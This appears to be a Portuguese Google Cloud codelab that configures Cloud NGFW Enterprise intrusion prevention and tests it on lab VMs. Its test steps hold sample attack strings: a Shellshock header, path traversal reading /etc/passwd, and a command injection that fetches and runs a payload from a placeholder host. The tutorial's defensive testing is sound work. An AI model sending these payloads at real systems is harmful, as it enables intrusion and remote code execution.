1. Introdução
Cloud Next Generation Firewall (NGFW)
O Cloud Next Generation Firewall é um serviço de firewall totalmente distribuído com recursos avançados de proteção, microssegmentação e cobertura abrangente para proteger suas cargas de trabalho do Google Cloud contra ataques internos e externos.
O Cloud NGFW tem os seguintes benefícios:
- Serviço de firewall distribuído: o Cloud NGFW oferece uma aplicação com base em host totalmente distribuída com estado em cada carga de trabalho para ativar a arquitetura de segurança de confiança zero.
- Configuração e implantação simplificadas: o Cloud NGFW implementa políticas de firewall de rede e hierárquicas que podem ser anexadas a um nó de hierarquia de recursos. Essas políticas fornecem uma experiência de firewall consistente em toda a hierarquia de recursos do Google Cloud.
- Controle granular e microssegmentação: a combinação de políticas de firewall e tags gerenciadas pelo Identity and Access Management (IAM) oferece controle preciso para o tráfego norte-sul e leste-oeste até uma única VM em redes e organizações de nuvem privada virtual (VPC).
O Cloud NGFW está disponível nos seguintes níveis:
- Cloud Next Generation Firewall Essentials
- Padrão do Cloud Next Generation Firewall
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Empresarial
O Cloud NGFW Enterprise adiciona o Serviço de prevenção contra intrusões (IPS), um recurso da camada 7, à estrutura distribuída do firewall do Google Cloud. A inspeção TLS é compatível para permitir a inspeção do tráfego criptografado com TLS, mas está fora do escopo deste codelab. Consulte Codelab do Cloud NGFW Enterprise com inspeção TLS.
Agora é possível implantar inspeções confiáveis de firewall de próxima geração (NGFW) da camada 7 com controles granulares sem fazer mudanças na arquitetura de rede ou nas configurações de roteamento.
Para ativar e implantar o controle de firewall da camada 7 com IPS, faça o seguinte:
- Crie um conjunto de endpoints de firewall zonais gerenciados do Google Cloud.
- Crie uma política de inspeção de TLS (opcional, não abordada neste codelab)
- Crie uma configuração de confiança (opcional, não abordada neste codelab).
- Associe esses endpoints às redes de nuvem privada virtual (VPC) em que você precisa do serviço Cloud NGFW Enterprise.
- Faça mudanças simples nas políticas e regras de firewall atuais para especificar os perfis de prevenção de ameaças nos vários caminhos de tráfego.
Políticas de firewall de rede
A política de firewall de rede atua como um contêiner para regras de firewall. As regras definidas em uma política de firewall de rede não são aplicadas em nenhum lugar até que a política seja associada a uma rede VPC. Cada rede VPC pode ter uma política de firewall de rede associada a ela. As políticas de firewall de rede são compatíveis com tags controladas pelo IAM (ou apenas tags) nas regras de firewall, que substituem as tags de rede atuais e podem ser usadas para fornecer identidade à carga de trabalho.
O compartilhamento de uma política de firewall de rede entre redes e a integração com tags gerenciadas pelo IAM simplificam muito a configuração e o gerenciamento de firewalls.
Com a introdução da política de firewall de rede, as políticas de firewall do Google Cloud agora consistem nos seguintes componentes:
- Política de firewall hierárquica
- Regras de firewall da VPC
- Política de firewall de rede ( global e regional)
As políticas de firewall hierárquicas são compatíveis com os nós da organização e da pasta na hierarquia de recursos, enquanto as regras de firewall da VPC e as políticas de firewall de rede são aplicadas no nível da VPC. Uma grande diferença entre as regras de firewall da VPC e as políticas de firewall de rede é que as regras de firewall da VPC só podem ser aplicadas a uma única rede VPC, enquanto as políticas de firewall de rede podem ser anexadas a uma única VPC ou grupo de VPCs, entre outros benefícios, como atualizações em lote.
Por fim, também temos as regras de firewall implícitas que vêm com todas as redes VPC:
- Uma regra de saída cuja ação é permitir e o destino é 0.0.0.0/0
- Uma regra de entrada com a ação negar e a origem 0.0.0.0/0
Por padrão, a sequência de aplicação é mostrada no diagrama a seguir:

A ordem de aplicação entre as regras de firewall da VPC e a política de firewall de rede global pode ser trocada. Os clientes podem especificar a ordem de aplicação a qualquer momento com um comando gcloud.
Tags gerenciadas pelo IAM
As novas tags integradas às regras da política de firewall de rede são recursos de par de chave-valor definidos no nível da organização ou do projeto da hierarquia de recursos do Google Cloud. Como o nome sugere, essa tag contém um controle de acesso do IAM que especifica quem pode fazer o quê na tag. Com as permissões do IAM, por exemplo, é possível especificar quais principais podem atribuir valores a tags e quais principais podem anexar tags a recursos. Depois que uma tag é aplicada a um recurso, as regras de firewall de rede podem usá-la para permitir e negar o tráfego.
As tags seguem o modelo de recursos de herança do Google Cloud, o que significa que as tags e os respectivos valores são transmitidos para baixo na hierarquia dos pais. Como resultado, as tags podem ser criadas em um local e usadas por outras pastas e projetos em toda a hierarquia de recursos. Acesse esta página para mais detalhes sobre tags e restrição de acesso.
Não confunda tags com tags de rede. As últimas são strings que podem ser adicionadas às instâncias do Compute Engine. Elas são associadas à instância e desaparecem quando ela é desativada. As regras de firewall da VPC podem incluir tags de rede, mas, como não são consideradas recursos de nuvem, elas não estão sujeitas ao controle de acesso do IAM.
Neste documento, os termos "tags" e "tags gerenciadas pelo IAM" são usados de forma intercambiável.
O que você vai criar
Este codelab exige um único projeto e a capacidade de criar uma rede VPC com conectividade pública. Ele demonstra como o Cloud NGFW Enterprise pode oferecer funcionalidade de IPS:
- Inspeção de fluxos intra-VPC/sub-rede [leste-oeste]
- Como inspecionar fluxos de entrada da Internet [norte-sul]
Os fluxos a serem inspecionados serão selecionados usando parâmetros de correspondência do Cloud Firewall, incluindo cinco tuplas (IP de origem, IP de destino, protocolo, porta de origem, porta de destino) e tags. A inspeção TLS não está incluída neste codelab.

A base de regras da política de firewall de rede será semelhante à tabela abaixo:
Prioridade | Direção | Destino | Origem | Destino | Ação | Tipo |
100 | Saída | Quarantine_Tag | Qualquer | Tudo | Negar | Essentials |
1000 | Entrada | Server_Tag | Intervalos de verificação de integridade | Qualquer | Permitir | Essentials |
2000 | Entrada | Qualquer | Intervalos do Identity-Aware Proxy | Qualquer | Permitir | Essentials |
3000 | Entrada | Qualquer | Geografia, GCTI | Qualquer | Negar | Padrão |
4000 | Saída | Qualquer | Qualquer | Geografia, GCTI | Negar | Padrão |
5000 | Saída | Qualquer | Qualquer | FQDNs de atualização do sistema | Permitir | Padrão |
6000 | Entrada | Server_Tag | 10.0.0.0/24 | Qualquer | IPS | Enterprise |
7.000 | Entrada | Server_Tag | CloudNAT_IP | Qualquer | IPS | Enterprise |
O que você vai aprender
- Como criar uma política de firewall de rede global
- Como criar e usar tags com política de firewall de rede
- Como configurar e usar o serviço de prevenção de invasões do Cloud NGFW Enterprise
O que é necessário
- Projeto do Google Cloud
- Conhecimento sobre como implantar instâncias e configurar componentes de rede
- Conhecimento sobre a configuração de firewall da VPC
2. Antes de começar
Criar/atualizar variáveis
Este codelab usa $variáveis para ajudar na implementação da configuração da gcloud no Cloud Shell.
No Cloud Shell, execute os comandos abaixo, substituindo as informações entre colchetes conforme necessário. Pule a definição do projeto se o desejado já estiver definido. Uma variável diferente é usada para recursos no nível da organização se forem necessários vários endpoints de firewall, por exemplo.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. Ativar APIs
Ative as APIs, se ainda não tiver feito isso:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Criação de perfil de segurança e endpoint do Cloud NGFW Enterprise
Como a criação do endpoint empresarial do Cloud NGFW leva cerca de 20 minutos, ele será criado primeiro, e a configuração básica poderá ser feita em paralelo enquanto o endpoint é criado.
Crie o perfil e o grupo de perfis de segurança:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Saída esperada:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Confirme se os recursos foram criados:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Saída esperada:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Crie o endpoint do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Execute o comando abaixo para confirmar se o endpoint está sendo criado (STATE: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Saída esperada (o formato pode variar de acordo com o cliente usado):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
Se quiser, execute o comando abaixo para mais detalhes:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Saída esperada:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
O processo de criação do endpoint leva cerca de 20 minutos. Acesse a seção "Configuração básica" para criar os recursos necessários em paralelo.
5. Configuração básica
Acesse as seções a seguir se preferir criar manualmente os recursos básicos.
Rede VPC e sub-rede
Rede VPC e sub-rede
Crie a rede e a sub-rede VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Crie os Cloud Routers e os gateways do Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instâncias
Crie as instâncias de cliente e servidor da Web:
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--scopes=compute-ro \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils iperf3 tcpdump -y'
Tags no nível do projeto
Atribua as permissões tagAdmin e/ou tagUser ao usuário, se necessário:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Crie a chave e os valores de tag no nível do projeto:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Vincular tags a instâncias:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Política global de firewall de rede
Criar uma política de firewall de rede global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Crie regras essenciais do Cloud Firewall para negar o tráfego de instâncias em quarentena (criadas apenas como exemplo, não usadas neste codelab) e permitir o tráfego dos intervalos health-check e proxy com reconhecimento de identidade:
gcloud compute network-firewall-policies rules create 100 \
--description="block quarantined workloads" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
--dest-ip-ranges=0.0.0.0/0
gcloud compute network-firewall-policies rules create 1000 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 2000 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
Crie regras padrão do Cloud Firewall para negar o tráfego de entrada e saída de/para países embargados, IPs maliciosos conhecidos e nós de saída do ToR. Permita apenas o tráfego de saída para FQDNs específicos para atualizações do sistema (criado apenas como exemplo, não usado neste codelab):
gcloud compute network-firewall-policies rules create 3000 \
--description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=INGRESS \
--src-region-codes CU,IR,KP,SY,XC,XD \
--src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 4000 \
--description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--dest-region-codes CU,IR,KP,SY,XC,XD \
--dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 5000 \
--description "allow system updates" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Crie regras do Cloud Firewall para permitir o tráfego de entrada leste-oeste / intrassub-rede e norte-sul / Internet dos intervalos específicos. Essas regras serão atualizadas para ativar o Cloud NGFW Enterprise:
gcloud compute network-firewall-policies rules create 6000 \
--description "allow ingress internal traffic from clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs all \
--src-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
gcloud compute network-firewall-policies rules create 7000 \
--description "allow ingress external traffic to server" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--enable-logging \
--src-ip-ranges=$cloudnatip \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Associe a política de firewall de rede à rede VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
Balanceador de carga de rede TCP/UDP externo
Reserve um endereço IP externo e crie o grupo de instâncias e a verificação de integridade:
gcloud compute addresses create $prefix-$region-nlbip --region=$region
gcloud compute instance-groups unmanaged create $prefix-ig \
--zone $zone
gcloud compute instance-groups unmanaged add-instances $prefix-ig \
--instances $prefix-$zone-www --zone $zone
gcloud compute health-checks create http $prefix-$region-hc-http80 \
--region $region --port 80
Crie o serviço de back-end e a regra de encaminhamento:
gcloud compute backend-services create $prefix-nlb-bes \
--protocol TCP \
--health-checks $prefix-$region-hc-http80 \
--health-checks-region $region \
--region $region
gcloud compute backend-services add-backend $prefix-nlb-bes \
--instance-group $prefix-ig \
--instance-group-zone $zone \
--region $region
gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
--load-balancing-scheme EXTERNAL \
--region $region \
--ports 80 \
--address $prefix-$region-nlbip \
--backend-service $prefix-nlb-bes
6. Associação de endpoint do Cloud NGFW Enterprise
Redefina as variáveis de ambiente, se necessário.
Confirme se a criação do endpoint do Cloud Firewall foi concluída com sucesso. Só prossiga quando o estado for ACTIVE. Durante a criação, o estado esperado é CREATING:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Saída esperada (o formato pode variar de acordo com o cliente usado):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
Se quiser, execute o comando abaixo para mais detalhes:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Saída esperada:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Associe o endpoint do Cloud NGFW Enterprise à rede VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
O processo de associação leva cerca de 10 minutos. Só prossiga quando o estado for mostrado como ATIVO. O estado esperado é CRIANDO durante o processo de criação:
gcloud network-security firewall-endpoint-associations list
Saída esperada:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
Se quiser, execute o comando abaixo para mais detalhes:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Saída esperada:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Regras de inspeção do Cloud NGFW Enterprise
Abra uma nova guia e inicie uma conexão SSH com a VM do cliente usando o IAP. Defina as variáveis novamente na nova guia:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Defina as variáveis necessárias na sessão SSH e defina as variáveis (verifique se os valores estão corretos):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
Faça curl nos dois IPs para confirmar que eles estão acessíveis:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Resultado esperado para as duas solicitações curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Envie ataques de amostra para o IP do servidor interno (tráfego leste-oeste / intra-VPC). O servidor da Web precisa responder a todas as solicitações, confirmando que não há inspeção/prevenção da camada 7 em vigor:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Reenvie os ataques de amostra para o IP do servidor externo pelo Cloud NAT (tráfego de entrada norte-sul). Da mesma forma, o servidor da Web precisa responder a todas as solicitações:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Resultados esperados para IPs públicos e privados:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Volte para o Cloud Shell e atualize as regras de entrada atuais para ativar a inspeção L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Opcionalmente, descreva as regras de firewall para verificar se ambas foram atualizadas com sucesso:
gcloud compute network-firewall-policies rules describe 6000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
Saída esperada:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Regra 7000:
gcloud compute network-firewall-policies rules describe 7000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
Saída esperada:
---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
layer4Configs:
- ipProtocol: tcp
ports:
- '80'
- ipProtocol: tcp
ports:
- '443'
srcIpRanges:
- [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
state: EFFECTIVE
Volte para a VM cliente e reenvie os ataques de amostra para o IP do servidor interno (inspeção leste-oeste / intra-VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Reenvie os ataques de amostra para o IP do servidor externo pelo Cloud NAT (inspeção de entrada norte-sul):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Nenhuma resposta é recebida para os primeiros ataques, conforme a saída esperada abaixo, confirmando que os ataques de alta gravidade agora estão sendo bloqueados.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Acesse "Segurança de rede > Ameaças" no console do Cloud para verificar os registros. Talvez seja necessário atualizar algumas vezes se os ataques ainda não aparecerem.

Escolha um dos ataques e clique em "Ver registro de auditoria" no lado direito. Abra em uma nova guia para alternar com facilidade. Expanda o ataque para mostrar os detalhes:

Se quiser, substitua o filtro do Explorador de registros pela consulta abaixo:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
As entradas de registro de ameaças devem ser vistas conforme abaixo:

É possível verificar os pacotes interceptados pelo Cloud Firewall usando o filtro do Log Explorer abaixo (útil para fins de solução de problemas):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

Continue com a inspeção do tráfego da Internet (opcional) ou feche a sessão SSH e avance para o próximo capítulo com as etapas de limpeza.
[Opcional] Inspeção de tráfego da Internet
Conforme verificado na seção anterior, os fluxos inspecionados até agora são intra-sub-rede/VPC (leste-oeste) e tráfego de entrada da Internet (norte-sul de entrada). O Cloud NGFW Enterprise também pode ser configurado para inspecionar todo o tráfego da Internet (saída norte-sul) criando uma nova regra de saída usando o Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Volte para a VM do cliente e reenvie ataques de alta gravidade para o IP do servidor externo:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Saída esperada:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Mude para a guia "Ameaças" no console do Cloud para verificar os registros. Talvez seja necessário atualizar algumas vezes. Os ataques deveriam ter sido identificados e registrados novamente, mas agora o IP de origem é interno porque uma regra de saída está sendo acionada primeiro:

Feche a sessão SSH e avance para a próxima seção com as etapas de limpeza.
8. Etapas de limpeza
Limpeza de componentes do Cloud NGFW para empresas
Liste as associações do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
Exclua a associação do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Liste os endpoints do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Exclua o endpoint do Cloud NGFW Enterprise, o que pode levar cerca de 20 minutos:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Confirme se o Cloud NGFW Enterprise foi excluído executando o comando abaixo:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Exclua o grupo de perfis de segurança e o perfil de prevenção de ameaças:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Limpeza da configuração básica
Siga para a próxima etapa se preferir excluir os recursos básicos.
Defina as variáveis de ambiente, se necessário. No Cloud Shell, exclua os componentes do balanceador de carga de rede:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Remova instâncias:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Opcionalmente, siga as etapas abaixo se as funções tagAdmin e tagUsers tiverem sido alteradas:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Remover chave e valores de tag:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Exclua a política de rede e a associação do Cloud Firewall:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Exclua o Cloud Router e o Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Exclua os endereços IP reservados:
